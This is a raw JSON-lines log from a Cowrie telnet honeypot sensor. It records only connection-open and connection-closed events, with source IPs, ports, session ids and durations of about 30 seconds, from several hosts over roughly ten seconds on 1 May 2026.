{"eventid":"cowrie.session.closed","duration":30.9654438495636,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:42.053310Z","src_ip":"81.30.157.18","session":"28e28e343fea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.489362001419067,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:42.060630Z","src_ip":"37.187.24.227","session":"655549f5a850","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":37872,"dst_ip":"159.203.135.109","dst_port":23,"session":"eea23d79809f","protocol":"telnet","message":"New connection: 81.30.157.18:37872 (159.203.135.109:23) [session: eea23d79809f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:42.127334Z"}
{"eventid":"cowrie.session.closed","duration":30.89453125,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:42.148787Z","src_ip":"81.30.157.18","session":"a2edd1e736be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":54248,"dst_ip":"159.203.135.109","dst_port":23,"session":"a13935d94184","protocol":"telnet","message":"New connection: 85.208.100.77:54248 (159.203.135.109:23) [session: a13935d94184]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:42.281110Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":42504,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d73f32cdb30","protocol":"telnet","message":"New connection: 149.102.133.101:42504 (159.203.135.109:23) [session: 3d73f32cdb30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:42.520306Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":47766,"dst_ip":"159.203.135.109","dst_port":23,"session":"c70621c53988","protocol":"telnet","message":"New connection: 46.101.32.143:47766 (159.203.135.109:23) [session: c70621c53988]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:42.702513Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":47946,"dst_ip":"159.203.135.109","dst_port":23,"session":"ffbf184e3d03","protocol":"telnet","message":"New connection: 46.101.32.143:47946 (159.203.135.109:23) [session: ffbf184e3d03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:42.874751Z"}
{"eventid":"cowrie.session.closed","duration":30.18043851852417,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:43.055167Z","src_ip":"81.30.157.18","session":"bf9fd2dd8bbf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.877454042434692,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:43.060706Z","src_ip":"81.30.157.18","session":"fd22d89c876f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.040651321411133,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:43.128101Z","src_ip":"37.187.24.227","session":"04197efdcf4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":44492,"dst_ip":"159.203.135.109","dst_port":23,"session":"16b3d8b57c1d","protocol":"telnet","message":"New connection: 168.119.91.149:44492 (159.203.135.109:23) [session: 16b3d8b57c1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:43.140990Z"}
{"eventid":"cowrie.session.closed","duration":31.080597162246704,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:43.145921Z","src_ip":"149.102.133.101","session":"9ef58872a5d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.590506076812744,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:43.155370Z","src_ip":"85.208.100.77","session":"723ebcacc20d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.13357663154602,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:43.251124Z","src_ip":"46.101.32.143","session":"324f0f86567c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.19232153892517,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:43.391365Z","src_ip":"85.208.100.77","session":"7f0f997e646e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.474306344985962,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:43.432878Z","src_ip":"85.208.100.77","session":"ca7941886f7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":42508,"dst_ip":"159.203.135.109","dst_port":23,"session":"4193af89981d","protocol":"telnet","message":"New connection: 149.102.133.101:42508 (159.203.135.109:23) [session: 4193af89981d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:43.578099Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":42518,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9e72e8b8051","protocol":"telnet","message":"New connection: 149.102.133.101:42518 (159.203.135.109:23) [session: c9e72e8b8051]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:43.596886Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":44498,"dst_ip":"159.203.135.109","dst_port":23,"session":"7df7229c2f20","protocol":"telnet","message":"New connection: 168.119.91.149:44498 (159.203.135.109:23) [session: 7df7229c2f20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:43.728128Z"}
{"eventid":"cowrie.session.closed","duration":30.781063079833984,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:44.043078Z","src_ip":"147.135.136.77","session":"417426a5714b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.801950216293335,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:44.059796Z","src_ip":"37.187.24.227","session":"d9b27981d790","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.00357747077942,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:44.102018Z","src_ip":"149.102.133.101","session":"750efa9bc76b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":41296,"dst_ip":"159.203.135.109","dst_port":23,"session":"522e64d6bf83","protocol":"telnet","message":"New connection: 37.187.24.227:41296 (159.203.135.109:23) [session: 522e64d6bf83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:44.202667Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":35766,"dst_ip":"159.203.135.109","dst_port":23,"session":"d581f3ce1ef3","protocol":"telnet","message":"New connection: 81.30.157.18:35766 (159.203.135.109:23) [session: d581f3ce1ef3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:44.350681Z"}
{"eventid":"cowrie.session.closed","duration":31.180002689361572,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:44.374637Z","src_ip":"85.208.100.77","session":"543b97bce076","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.941962242126465,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:44.466055Z","src_ip":"168.119.91.149","session":"a66f40064b2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.49817442893982,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:44.584186Z","src_ip":"37.187.24.227","session":"3547ea270a2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.468914031982422,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:44.917376Z","src_ip":"81.30.157.18","session":"e7c7838dcafa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78113317489624,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:45.038027Z","src_ip":"147.135.136.77","session":"256d378d1919","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.966596364974976,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:45.093153Z","src_ip":"46.101.32.143","session":"ad2b1734fd5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.804075717926025,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:45.117477Z","src_ip":"147.135.136.77","session":"6b57eed1d031","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.987659215927124,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:45.126962Z","src_ip":"81.30.157.18","session":"5785fa87c5a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.659025192260742,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:45.297386Z","src_ip":"168.119.91.149","session":"2cb830c0c91f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.046459674835205,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:45.406512Z","src_ip":"81.30.157.18","session":"d86ddd7d675e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.945422887802124,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:45.489560Z","src_ip":"168.119.91.149","session":"f56c84a40fa7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":44500,"dst_ip":"159.203.135.109","dst_port":23,"session":"1aef7afa383e","protocol":"telnet","message":"New connection: 168.119.91.149:44500 (159.203.135.109:23) [session: 1aef7afa383e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:45.962933Z"}
{"eventid":"cowrie.session.closed","duration":30.942984580993652,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:46.078114Z","src_ip":"37.187.24.227","session":"a0ff8ea85890","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.928184032440186,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:46.088582Z","src_ip":"81.30.157.18","session":"bf28cd28fa6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.106833934783936,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:46.123974Z","src_ip":"147.135.136.77","session":"7120ec7b6cb8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.858720302581787,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:46.169938Z","src_ip":"85.208.100.77","session":"42f1ac180779","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81036901473999,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:46.481199Z","src_ip":"168.119.91.149","session":"2f5d437e2fa3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.844913482666016,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:46.649715Z","src_ip":"168.119.91.149","session":"809efb2a5aa5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.15509557723999,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:46.679401Z","src_ip":"81.30.157.18","session":"ffa86cc54a19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":44516,"dst_ip":"159.203.135.109","dst_port":23,"session":"88c007c10011","protocol":"telnet","message":"New connection: 168.119.91.149:44516 (159.203.135.109:23) [session: 88c007c10011]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:46.814011Z"}
{"eventid":"cowrie.session.closed","duration":31.68120527267456,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:47.012336Z","src_ip":"37.187.24.227","session":"70cf56ecd316","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":46648,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5652dbe5084","protocol":"telnet","message":"New connection: 149.102.133.101:46648 (159.203.135.109:23) [session: b5652dbe5084]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:47.028194Z"}
{"eventid":"cowrie.session.closed","duration":30.627997159957886,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:47.098491Z","src_ip":"85.208.100.77","session":"b8e2f1d1da5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.51711344718933,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:47.126969Z","src_ip":"85.208.100.77","session":"6048614185aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.408708095550537,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:47.173811Z","src_ip":"149.102.133.101","session":"d0147fa2977d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":47735,"dst_ip":"159.203.135.109","dst_port":23,"session":"b50bb240f22e","protocol":"telnet","message":"New connection: 37.187.24.227:47735 (159.203.135.109:23) [session: b50bb240f22e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:47.183125Z"}
{"eventid":"cowrie.session.closed","duration":30.920479774475098,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:47.195319Z","src_ip":"81.30.157.18","session":"e461f3b9fd60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.076178550720215,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:47.200683Z","src_ip":"81.30.157.18","session":"c5fe62f140b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":47898,"dst_ip":"159.203.135.109","dst_port":23,"session":"da4c8164304f","protocol":"telnet","message":"New connection: 37.187.24.227:47898 (159.203.135.109:23) [session: da4c8164304f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:47.252481Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":35776,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd3829224eec","protocol":"telnet","message":"New connection: 81.30.157.18:35776 (159.203.135.109:23) [session: cd3829224eec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:47.333471Z"}
{"eventid":"cowrie.session.closed","duration":31.235968112945557,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:47.422801Z","src_ip":"37.187.24.227","session":"7b9b5d899f0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":35790,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a6a6dd80e08","protocol":"telnet","message":"New connection: 81.30.157.18:35790 (159.203.135.109:23) [session: 7a6a6dd80e08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:47.495655Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":48540,"dst_ip":"159.203.135.109","dst_port":23,"session":"95d3da63ca43","protocol":"telnet","message":"New connection: 37.187.24.227:48540 (159.203.135.109:23) [session: 95d3da63ca43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:47.511404Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.139.22","src_port":59028,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e0ba261284e","protocol":"telnet","message":"New connection: 206.189.139.22:59028 (159.203.135.109:23) [session: 5e0ba261284e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:47.700053Z"}
{"eventid":"cowrie.session.closed","duration":30.697932720184326,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:48.064568Z","src_ip":"81.30.157.18","session":"05d161e1380b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.893391370773315,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:48.084048Z","src_ip":"81.30.157.18","session":"b84b08bbafcd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":50030,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0c2beb4d09c","protocol":"telnet","message":"New connection: 37.187.24.227:50030 (159.203.135.109:23) [session: d0c2beb4d09c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:48.192518Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":54084,"dst_ip":"159.203.135.109","dst_port":23,"session":"339037af9d99","protocol":"telnet","message":"New connection: 46.101.32.143:54084 (159.203.135.109:23) [session: 339037af9d99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:48.292990Z"}
{"eventid":"cowrie.session.closed","duration":30.656774520874023,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:48.376218Z","src_ip":"85.208.100.77","session":"6e9e74069f3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.137561082839966,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:48.514048Z","src_ip":"168.119.91.149","session":"78b96909eaa8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.230993270874023,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:48.519960Z","src_ip":"168.119.91.149","session":"1f44dec8aae8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":44532,"dst_ip":"159.203.135.109","dst_port":23,"session":"b42a04f31ea0","protocol":"telnet","message":"New connection: 168.119.91.149:44532 (159.203.135.109:23) [session: b42a04f31ea0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:48.675251Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.139.22","src_port":59042,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab7f388ad723","protocol":"telnet","message":"New connection: 206.189.139.22:59042 (159.203.135.109:23) [session: ab7f388ad723]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:48.696001Z"}
{"eventid":"cowrie.session.closed","duration":30.5400652885437,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:49.103824Z","src_ip":"149.102.133.101","session":"488414d0b47c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.56291103363037,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:49.120711Z","src_ip":"81.30.157.18","session":"887f86d49e1b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":34198,"dst_ip":"159.203.135.109","dst_port":23,"session":"02fdd7eab435","protocol":"telnet","message":"New connection: 173.249.44.46:34198 (159.203.135.109:23) [session: 02fdd7eab435]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:50.073400Z"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":38388,"dst_ip":"159.203.135.109","dst_port":23,"session":"68b24ad7a46c","protocol":"telnet","message":"New connection: 82.163.78.83:38388 (159.203.135.109:23) [session: 68b24ad7a46c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:50.079902Z"}
{"eventid":"cowrie.session.closed","duration":30.73310160636902,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:50.086321Z","src_ip":"81.30.157.18","session":"80bd16a0dcc4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.722283124923706,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:50.091500Z","src_ip":"147.135.136.77","session":"ba9ae067cc36","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":42106,"dst_ip":"159.203.135.109","dst_port":23,"session":"c658b4d9c23f","protocol":"telnet","message":"New connection: 85.208.100.77:42106 (159.203.135.109:23) [session: c658b4d9c23f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:50.347638Z"}
{"eventid":"cowrie.session.closed","duration":30.5155131816864,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:50.352264Z","src_ip":"81.30.157.18","session":"9dc370b78ad9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":56614,"dst_ip":"159.203.135.109","dst_port":23,"session":"05f1eb18a834","protocol":"telnet","message":"New connection: 46.101.32.143:56614 (159.203.135.109:23) [session: 05f1eb18a834]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:50.421562Z"}
{"eventid":"cowrie.session.closed","duration":30.665822744369507,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:50.497223Z","src_ip":"168.119.91.149","session":"22818ef3bfcd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.48025918006897,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:50.570962Z","src_ip":"168.119.91.149","session":"cd1d7e13ffee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":35792,"dst_ip":"159.203.135.109","dst_port":23,"session":"38fb33fb9faa","protocol":"telnet","message":"New connection: 81.30.157.18:35792 (159.203.135.109:23) [session: 38fb33fb9faa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:50.676325Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":32790,"dst_ip":"159.203.135.109","dst_port":23,"session":"845ad36b8dd9","protocol":"telnet","message":"New connection: 168.119.91.149:32790 (159.203.135.109:23) [session: 845ad36b8dd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:50.726896Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":32806,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c11ad3dc958","protocol":"telnet","message":"New connection: 168.119.91.149:32806 (159.203.135.109:23) [session: 5c11ad3dc958]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:50.737066Z"}
{"eventid":"cowrie.session.closed","duration":30.239741802215576,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:51.054761Z","src_ip":"149.102.133.101","session":"1d75edf435f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":39420,"dst_ip":"159.203.135.109","dst_port":23,"session":"1da3a67bf407","protocol":"telnet","message":"New connection: 82.163.78.83:39420 (159.203.135.109:23) [session: 1da3a67bf407]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:51.159152Z"}
